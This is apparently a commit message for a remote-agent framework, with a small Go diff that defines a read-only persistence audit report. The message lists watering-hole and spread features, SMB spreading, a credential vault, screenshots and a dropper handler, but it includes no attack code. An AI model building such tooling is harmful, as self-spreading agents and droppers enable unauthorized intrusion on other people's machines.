feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e

Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests.

Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs.

Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.

agent/client/persistence_audit.go

@@ -0,0 +1,16 @@
+package client
+
+// PersistenceAuditEntry is one discovered autostart hook (read-only).
+type PersistenceAuditEntry struct {
+	Kind    string `json:"kind"`
+	Name    string `json:"name"`
+	Detail  string `json:"detail,omitempty"`
+	Enabled bool   `json:"enabled,omitempty"`
+}
+
+// PersistenceAuditReport summarizes Run keys, tasks, and service hooks.
+type PersistenceAuditReport struct {
+	Platform string                  `json:"platform"`
+	Entries  []PersistenceAuditEntry `json:"entries"`
+	Count    int                     `json:"count"`
+}